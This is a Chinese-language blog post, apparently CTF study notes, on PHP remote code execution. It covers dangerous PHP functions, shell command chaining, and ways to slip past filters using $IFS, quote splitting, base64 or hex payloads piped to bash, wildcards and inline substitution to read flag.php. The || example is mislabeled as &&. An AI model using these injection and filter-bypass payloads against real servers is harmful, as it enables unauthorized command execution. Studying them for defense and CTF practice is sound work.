RCE
远程代码执行漏洞
原理
编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
可使用条件
1.需要有执行系统命令的函数
2.具有可控或者不安全参数
PHP调用函数
system()
作用:执行外部程序,并且显示输出
<?php
$shell = "ping 127.0.0.1";
system("$shell");
?>
exec()
作用:执行一个外部程序,返回命令执行结果的最后一行内容
<?php
$shell = "ping 127.0.0.1";
echo exec("$shell");
?>
shell_exec()
作用: shell 执行命令并将完整的输出以字符串的方式返回
<?php
$shell = "ping 127.0.0.1";
echo shell_exec("$shell");
?>
作用范围
在docker中一般权限为www-data,该权限一般可读不可写
其他权限看个人输出:wh oami
联合执行(Linux)
分号
先后执行三个命令,无论命令是否执行成功
command1;command2;command3
&&
前面的命令执行成功,后面的命令才会执行
command1 && command2
||
前面的命令执行 不 成功,后面的命令才会执行
command1 && command2
|
前一个执行成功后的结果作为后一个执行的参数
command1 | command2
绕过执行
过滤空格情况下
下面命令适合在 SHELL为bash 的情况下代替空格使用,查看当前使用SHELL:echo $0
$IFS
${IFS}
$IFS$9
<
<>
{cat,flag} //用逗号实现空格功能
过滤关键字
下面可以灵活转换(适用zsh、bash)
反斜线绕过
ca\t flag.php //用转义符绕过cat完整串的匹配
两个单引号绕过
ca''t flag.php //用''绕过cat完整串的匹配
base64编码绕过
echo "Y2F0ICdmbGFnLnBocCc=" | base64 -d | bash //将cat flag.php的base64编码进行解码,并该内容作为bash的命令执行
hex编码绕过
echo "63617420666c61672e706870" | xxd -r -p | bash //同理上,xxd -r -p命令是将hex解码
通配符匹配绕过
cat执行后将会打印出所有符合的文件信息
[]
cat fla[a-z].php //匹配[]内的所有字符
cat fl* //匹配多个字符
?
cat fl?g.php //匹配一个字符
内敛执行
可适用bash、zsh
``
cat `ls | grep fl` //先执行ls | grep fl 找到flag.php,然后执行cat flag.php
$()
cat $(ls| grep fl) //同理上
变量存储
可适用bash、zsh
标签:php,cat,命令,flag,执行,bash From: https://www.cnblogs.com/ntrack/p/17538470.htmla=.php;b=flag;cat $b$a; //cat flag.php